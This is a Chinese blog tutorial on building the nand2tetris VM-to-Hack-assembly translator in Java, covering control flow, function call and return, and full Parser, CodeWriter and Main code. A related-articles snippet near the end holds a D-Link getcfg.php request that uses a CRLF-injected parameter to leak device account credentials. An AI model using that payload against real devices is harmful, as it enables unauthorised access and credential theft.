Java VMTranslator Part II

用Java写一个翻译器,将Java的字节码翻译成汇编语言 

目录

程序控制流开发

基本思路

核心代码

实验结果,使用例子进行验证

函数调用

基本思路

核心代码

实验结果,使用例子进行验证

 Parser

CodeWriter

Main


程序控制流开发

基本思路

在project7的基础上将带有控制流的vm字节码翻译成asm汇编文件,既然是翻译,那就是字符串替换问题,在第一部分的程序控制流实现中,我们要做的就是用asm汇编语言实现goto、if-goto和label。

首先是label,这个非常简单,就直接换成(label)就完了。

然后是goto label,这个也简单,拿到label的值直接跳转就行。

最后是if-goto,这个我们首先要搞懂它是什么意思?从课件上可以知道,if-goto的效果是当栈顶元素不为0时发生跳转,并且弹栈。

因此我们首先将栈顶元素取出来,然后栈指针自减,当栈顶元素不为0时跳转。

核心代码

首先是parser类的修改,在代码调试的时候发现这次的vm字节码文件出现了有连续空格的情况,之前的parser没有对这种情况的处理,这次更新一下,增加将连续空格变成单个空格的处理。

然后是parser判断vm指令类型的函数需要增加对label、goto和if-goto指令类型的判断。

然后最主要的就是codeWriter的功能增加,增加了对label、goto和if-goto指令字符串的替换。

然后主函数就是增加对label、goto和if-goto情况的判断即可。

实验结果,使用例子进行验证

首先是BasicLoop的测试,如下图所示,成功通过测试。

然后是斐波那契的测试,如下图所示,成功通过测试,可见控制流的实现通过了。

函数调用

基本思路

首先解决call,这个比较复杂,这个主要是保存在调用函数之前当前程序的状态,主要是LCL、ARG、THIS和THAT,还有函数调用者的返回地址。

接下来我们分别一部分一部分的讲解每一个应该怎么操作。

Push retAddrLabel比较简单,就是将调用者当前的地址保存下来,将调用返回地址压入栈中,当然这个地址需要处理一下,因为我们要区分开每一次调用的label。

对于push LCL/ARG/THIS/THAT的操作是一样的,都是类似于project7中push pointer的操作,即拿到对应的字段值,把它压进栈即可。

对于ARG=SP-5-nArgs,直接翻译,让ARG的值为SP-5-nArgs。

LCL=SP这个也好翻译,而goto functionName就直接跳过去就行了,但是要记得把调用返回地址标号写在后面,因为调用完函数之后要回来。

对于函数定义function functionName nVars,根据课件可知我们需要进行nVars次push constant 0的操作。

因此只需要写上function名字的label后调用nVars次我们之前在project7写的push constant 0的翻译就行了。

对于return而言,基本上就是做的call的反操作,把call时期保存的函数调用者的状态给还原,其中主要的就是拿到函数返回地址以及把之前压入栈的字段值恢复。

因为这个return涉及到的操作很多,我们还是需要一个部分一个部分的讲解。

首先需要一个局部变量拿到我们函数调用之前写入LCL的栈指针的值。

然后根据这个调用前的栈指针的值我们可以拿到之前压入栈的函数返回地址。

然后把函数返回值写入ARG,这里是project7的pop argument 0的操作。

然后是恢复函数调用者时期SP的值。

恢复THAT/THIS/ARG/LCL字段的值。

最后回到函数调用者的地址。

然后是最后两个测试程序需要调用它们的启动函数。

启动函数就是初始化栈指针的值为256,然后调用它们写好的Sys.init函数。

还有根据最后一个测试StaticTest的调试结果可以知道不同vm文件的static字段应该是不一样的,难怪需要setFileName函数的存在,因为我没有这个函数就一直跑不对。

核心代码

parser判断vm指令类型的函数需要增加对call、function和return指令类型的判断。

然后最主要的就是codeWriter的功能增加,增加了对call、function和return指令字符串的替换,其中call和return就一一写入相应的字符串,call还需要区分开每一次调用的地址,因此调用label需要加入序号。

而function的处理,则重复调用project7写的push constant 0进行翻译。

然后主函数就是增加对label、goto和if-goto情况的判断即可。

还有调用启动函数的编写。

因为这里出现了多个vm文件,因此我们需要在主函数里对输入文件路径做一些处理,我们首先创建一个文件容器,先判断这个文件路径是否是单个文件还是一个文件夹,如果是单个文件,把这个文件装进容器。如果是一个文件夹,那么把这个文件夹目录下所有vm文件装进容器。

然后对于容器里的每一个文件都生成一个parser解析器就行解析翻译。

实验结果,使用例子进行验证

SimpleFunction先注释掉我们启动的初始化函数,因为它已经包含了启动函数,测试结果如下图所示,测试成功。

然后是这个非常非常长的斐波那契测试,这里包括了两个vm文件,同时我们启用写好的调用启动函数代码,测试结果如下图所示,成功通过。

然后是最后的考验StaticTest,第一次测试其实是失败的,为什么吗,因为一开始我没有搞懂为什么有个setFileName函数要写,于是我就没写,然后就在这里调试的时候发现,对于不同的vm文件需要不同的static字段,后来重写了project7的pop和push函数,加上了区分不同vm文件的static函数。

然后就终于搞定了。

 Parser

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.util.Objects;
import java.util.Scanner;public class Parser {private String command = null;private final Scanner scanner;private String cmd0 = null;private String cmd1 = null;private int cmd2;public Parser(File file) throws FileNotFoundException {scanner = new Scanner(new FileReader(file));}public boolean hasMoreCommands() {boolean hasMore = false;while (scanner.hasNextLine()) {command = scanner.nextLine();command = command.replaceAll("\\s+", " "); //将连续的空格替换成单个空格if (!Objects.equals(command, "") && command.charAt(0) != '/') { //去掉空白行和注释String[] pure = command.split("/");command = pure[0];hasMore = true;break;}}return hasMore;}public void advance() {String[] cmd = command.split(" ");cmd0 = cmd[0];if (cmd.length > 1) {cmd1 = cmd[1];if (cmd.length > 2) {cmd2 = Integer.parseInt(cmd[2]);}}}public String commandType() {if (Objects.equals(cmd0, "push")) {return "C_PUSH";} else if (Objects.equals(cmd0, "pop")) {return "C_POP";} else if (Objects.equals(cmd0, "label")) {return "C_LABEL";} else if (Objects.equals(cmd0, "goto")) {return "C_GOTO";} else if (Objects.equals(cmd0, "if-goto")) {return "C_IF";} else if (Objects.equals(cmd0, "call")) {return "C_CALL";} else if (Objects.equals(cmd0, "function")) {return "C_FUNCTION";} else if (Objects.equals(cmd0, "return")) {return "C_RETURN";} else {cmd1 = cmd0;return "C_ARITHMETIC";}}public String arg1() {return cmd1;}public int arg2() {return cmd2;}public void close() {scanner.close();}}

CodeWriter

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Objects;public class CodeWriter {private final FileWriter asm;private String asmCommand;private String fileName="";private final HashMap<String, String> vmToAsm = new HashMap<>();private int jump = 0;public CodeWriter(File file) throws IOException {asm = new FileWriter(file);String fetch = "@SP\nM=M-1\nA=M\nD=M\nA=A-1\n";vmToAsm.put("add", fetch + "M=M+D\n");vmToAsm.put("sub", fetch + "M=M-D\n");vmToAsm.put("and", fetch + "M=M&D\n");vmToAsm.put("or", fetch + "M=M|D\n");vmToAsm.put("gt", fetch + "D=M-D\n@TRUE\nD;JGT\n@SP\nA=M-1\nM=0\n@END\n0;JMP\n(TRUE)\n@SP\nA=M-1\nM=-1\n(END)\n");vmToAsm.put("eq", fetch + "D=M-D\n@TRUE\nD;JEQ\n@SP\nA=M-1\nM=0\n@END\n0;JMP\n(TRUE)\n@SP\nA=M-1\nM=-1\n(END)\n");vmToAsm.put("lt", fetch + "D=M-D\n@TRUE\nD;JLT\n@SP\nA=M-1\nM=0\n@END\n0;JMP\n(TRUE)\n@SP\nA=M-1\nM=-1\n(END)\n");vmToAsm.put("neg", "D=0\n@SP\nA=M-1\nM=D-M\n");vmToAsm.put("not", "@SP\nA=M-1\nM=!M\n");}public void writeArithmetic(String vmCommand) throws IOException {asmCommand = vmToAsm.get(vmCommand);if (Objects.equals(vmCommand, "gt") || Objects.equals(vmCommand, "eq") || Objects.equals(vmCommand, "lt")) {asmCommand = asmCommand.replaceAll("TRUE", "TRUE" + jump);asmCommand = asmCommand.replaceAll("END", "END" + jump);jump++;}asm.write(asmCommand);}public void writePushPop(String cmd, String segment, int index) throws IOException {if (Objects.equals(cmd, "C_PUSH")) {if (Objects.equals(segment, "constant")) {asmCommand = "@" + index + "\nD=A\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else if (Objects.equals(segment, "local")) {asmCommand = "@LCL\nD=M\n@" + index + "\nA=D+A\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else if (Objects.equals(segment, "argument")) {asmCommand = "@ARG\nD=M\n@" + index + "\nA=D+A\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else if (Objects.equals(segment, "this")) {asmCommand = "@THIS\nD=M\n@" + index + "\nA=D+A\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else if (Objects.equals(segment, "that")) {asmCommand = "@THAT\nD=M\n@" + index + "\nA=D+A\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else if (Objects.equals(segment, "temp")) {asmCommand = "@" + (5 + index) + "\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else if (Objects.equals(segment, "pointer")) {if (index == 0) {asmCommand = "@THIS\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";} else {asmCommand = "@THAT\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";}} else if (Objects.equals(segment, "static")) {asmCommand = "@" + fileName+ index + "\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n";}} else {if (Objects.equals(segment, "local")) {asmCommand = "@LCL\nD=M\n@" + index + "\nD=D+A\n@255\nM=D\n@SP\nM=M-1\nA=M\nD=M\n@255\nA=M\nM=D\n";} else if (Objects.equals(segment, "argument")) {asmCommand = "@ARG\nD=M\n@" + index + "\nD=D+A\n@255\nM=D\n@SP\nM=M-1\nA=M\nD=M\n@255\nA=M\nM=D\n";} else if (Objects.equals(segment, "this")) {asmCommand = "@THIS\nD=M\n@" + index + "\nD=D+A\n@255\nM=D\n@SP\nM=M-1\nA=M\nD=M\n@255\nA=M\nM=D\n";} else if (Objects.equals(segment, "that")) {asmCommand = "@THAT\nD=M\n@" + index + "\nD=D+A\n@255\nM=D\n@SP\nM=M-1\nA=M\nD=M\n@255\nA=M\nM=D\n";} else if (Objects.equals(segment, "temp")) {asmCommand = "@SP\nM=M-1\nA=M\nD=M\n@" + (5 + index) + "\nM=D\n";} else if (Objects.equals(segment, "pointer")) {if (index == 0) {asmCommand = "@SP\nM=M-1\nA=M\nD=M\n@THIS\nM=D\n";} else {asmCommand = "@SP\nM=M-1\nA=M\nD=M\n@THAT\nM=D\n";}} else if (Objects.equals(segment, "static")) {asmCommand = "@SP\nM=M-1\nA=M\nD=M\n@" + fileName+ index + "\nM=D\n";}}asm.write(asmCommand);}public void writeLabel(String label) throws IOException {asm.write("(" + label + ")\n");}public void writeGoto(String label) throws IOException {asm.write("@" + label + "\n0;JMP\n");}public void writeIf(String label) throws IOException {asm.write("@SP\nM=M-1\nA=M\nD=M\n@" + label + "\nD;JNE\n");}public void writeCall(String functionName, int nArgs) throws IOException {asm.write("@Caller" + jump + "\nD=A\n@SP\nA=M\nM=D\n@SP\nM=M+1\n");asm.write("@LCL\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n");asm.write("@ARG\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n");asm.write("@THIS\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n");asm.write("@THAT\nD=M\n@SP\nA=M\nM=D\n@SP\nM=M+1\n");asm.write("@SP\nD=M\n@5\nD=D-A\n@" + nArgs + "\nD=D-A\n@ARG\nM=D\n");asm.write("@SP\nD=M\n@LCL\nM=D\n");asm.write("@" + functionName + "\n0;JMP\n(Caller" + jump + ")\n");jump++;}public void writeReturn() throws IOException {asm.write("@LCL\nD=M\n@FRAME\nM=D\n");asm.write("@5\nA=D-A\nD=M\n@RET\nM=D\n");asm.write("@ARG\nD=M\n@0\nD=D+A\n@255\nM=D\n@SP\nM=M-1\nA=M\nD=M\n@255\nA=M\nM=D\n");asm.write("@ARG\nD=M\n@SP\nM=D+1\n");asm.write("@FRAME\nD=M-1\nAM=D\nD=M\n@THAT\nM=D\n");asm.write("@FRAME\nD=M-1\nAM=D\nD=M\n@THIS\nM=D\n");asm.write("@FRAME\nD=M-1\nAM=D\nD=M\n@ARG\nM=D\n");asm.write("@FRAME\nD=M-1\nAM=D\nD=M\n@LCL\nM=D\n");asm.write("@RET\nA=M\n0;JMP\n");}public void writeFunction(String functionName, int nArgs) throws IOException {asm.write("(" + functionName + ")\n");for (int i = 0; i < nArgs; i++) {writePushPop("C_PUSH", "constant", 0);}}public void writeInit() throws IOException {asm.write("@256\nD=A\n@SP\nM=D\n");writeCall("Sys.init", 0);}public void close() throws IOException {asm.close();}public void setFileName(String fileName) {this.fileName = fileName;}
}

Main

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Objects;public class Main {public static void main(String[] args) throws IOException {File file = new File("C:\\Users\\Yezi\\Desktop\\Java程序设计\\nand2tetris\\projects\\08\\FunctionCalls\\StaticsTest");ArrayList<File> vm = new ArrayList<>();CodeWriter codeWriter = new CodeWriter(new File("C:\\Users\\Yezi\\Desktop\\Java程序设计\\nand2tetris\\projects\\08\\FunctionCalls\\StaticsTest\\StaticsTest.asm"));codeWriter.writeInit();if (file.isFile()) {vm.add(file);} else {for (File one : Objects.requireNonNull(file.listFiles())) {if (one.getName().endsWith(".vm")) {vm.add(one);}}}for (File one : vm) {Parser parser = new Parser(one);codeWriter.setFileName(one.getName());while (parser.hasMoreCommands()) {parser.advance();if (Objects.equals(parser.commandType(), "C_ARITHMETIC")) {codeWriter.writeArithmetic(parser.arg1());} else if (Objects.equals(parser.commandType(), "C_LABEL")) {codeWriter.writeLabel(parser.arg1());} else if (Objects.equals(parser.commandType(), "C_GOTO")) {codeWriter.writeGoto(parser.arg1());} else if (Objects.equals(parser.commandType(), "C_IF")) {codeWriter.writeIf(parser.arg1());} else if (Objects.equals(parser.commandType(), "C_FUNCTION")) {codeWriter.writeFunction(parser.arg1(), parser.arg2());} else if (Objects.equals(parser.commandType(), "C_RETURN")) {codeWriter.writeReturn();} else if (Objects.equals(parser.commandType(), "C_CALL")) {codeWriter.writeCall(parser.arg1(), parser.arg2());} else {codeWriter.writePushPop(parser.commandType(), parser.arg1(), parser.arg2());}}parser.close();}codeWriter.close();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/161459.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习服务器(Linux)开发环境搭建教程

当你拿到一台服务器的使用权时&#xff0c;最头疼的莫过于登陆服务区并配置开发环境。本文将从0开始&#xff0c;讲述一台刚申请的服务器远程登陆并配置开发环境的全过程。希望对你有所帮助 1.登陆服务器 打开MobaXterm软件&#xff0c;创建一个新的Session&#xff0c;选择S…

Web - Servlet详解

目录 前言 一 . Servlet简介 1.1 动态资源和静态资源 1.2 Servlet简介 二 . Servlet开发流程 2.1 目标 2.2 开发过程 三 . Servlet注解方式配置 ​编辑 四 . servlet生命周期 4.1 生命周期简介 4.2 生命周期测试 4.3 生命周期总结 五 . servlet继承结构 5.1 ser…

SpringBoot-WebSocket浏览器-服务器双向通信

文章目录 WebSocket 介绍入门案例 WebSocket 介绍 WebSocket 是基于 TCP 的一种新的网络协议。它实现了浏览器与服务器全双工通信——浏览器和服务器只需要完成一次握手&#xff0c;两者之间就可以创建持久性的连接&#xff0c;并进行双向数据传输。 应用场景&#xff1a; 视…

关系型数据库 期末复习(未完

关系型数据库 绪论概念间的关系数据库的历史信息和数据数据模型 关系模型数据结构关系完整性关系操作语言 关系代数语言 绪论 概念间的关系 数据->数据库->数据库管理系统->数据库系统 数据库的历史 人工管理阶段 -> 文件系统阶段 -> 数据库系统阶段 数据库…

逆向学习记录(1)windows系统基本配置

我的环境&#xff1a;win10系统64位。 可以在虚拟机上操作。改天记录一下如何安装虚拟机及里面的系统。 1、查看windows版本情况 按下winr&#xff0c;输入winver&#xff0c;即可。 2、新装的windows系统&#xff0c;桌面上没有我的电脑图标&#xff1f; 在桌面上右键&…

D-Link账号密码泄露

构造payload&#xff1a; /getcfg.php SERVICESDEVICE.ACCOUNT&attackture%0D%0AAUTHORIZED_GROUP%3D1漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0c;万分感谢。 免责声明&#xff1a;由于传播或利用此文所提供的信息、技…

shell script函数function篇

function fname(){ 程序段 } #这个比较熟悉了&#xff0c;和其他计算机语言定义函数的格式都是相同的&#xff0c;上案例&#xff0c;自定义printf函数 总结&#xff1a;函数定义的格式&#xff0c;和其他语言大同小异&#xff0c;不同的是在函数调用方面&#xff0c;c和java…

社区牛奶智能售货机为你带来便利与实惠

社区牛奶智能售货机为你带来便利与实惠 低成本&#xff1a;社区牛奶智能货机的最大优势在于成本低廉&#xff0c;租金和人工开支都很少。大部分时间&#xff0c;货柜都是由无人操作来完成销售任务。 购买便利&#xff1a;社区居民只需通过手机扫码支付&#xff0c;支付后即可自…

ICCV2023 Tracking paper汇总(一)(多目标跟随、单目标跟随等)

一、PVT: A Simple End-to-End Latency-Aware Visual Tracking Framework paper&#xff1a; https://openaccess.thecvf.com/content/ICCV2023/papers/Li_PVT_A_Simple_End-to-End_Latency-Aware_Visual_Tracking_Framework_ICCV_2023_paper.pdf github&#xff1a; https://…

阿里云多款ECS产品全面升级 性能最多提升40%

“阿里云始终围绕‘稳定、安全、性能、成本、弹性’的目标不断创新&#xff0c;为客户创造业务价值。”10月31日&#xff0c;杭州云栖大会上&#xff0c;阿里云弹性计算计算产品线负责人张献涛表示&#xff0c;通过持续的产品和技术创新&#xff0c;阿里云发布了HPC优化实例等多…

一个使用uniapp+vue3+ts+pinia+uview-plus开发小程序的基础模板

uniappuviewPlusvue3tspiniavite 开发基础模板 使用 uniapp vue3 ts pinia vite 开发基础模板&#xff0c;拿来即可使用&#xff0c;不要删除 yarn.lock 文件&#xff0c;否则会启动报错&#xff0c;这个可能和 pinia 的版本有关&#xff0c;所以不要随意修改。 拉取代码…

网络资料(忘传了)

1网络分层模型和应用协议 1.1分层模型 1.1.1分层的意义 当遇到一个复杂问题的时候&#xff0c;可以使用分层的思想把问题简单化 比如&#xff0c;你有半杯82年的可乐&#xff0c;想分享给你的朋友王富贵&#xff0c;但你们已经10年没有联系了。要完成这件事&#xff0c;你可…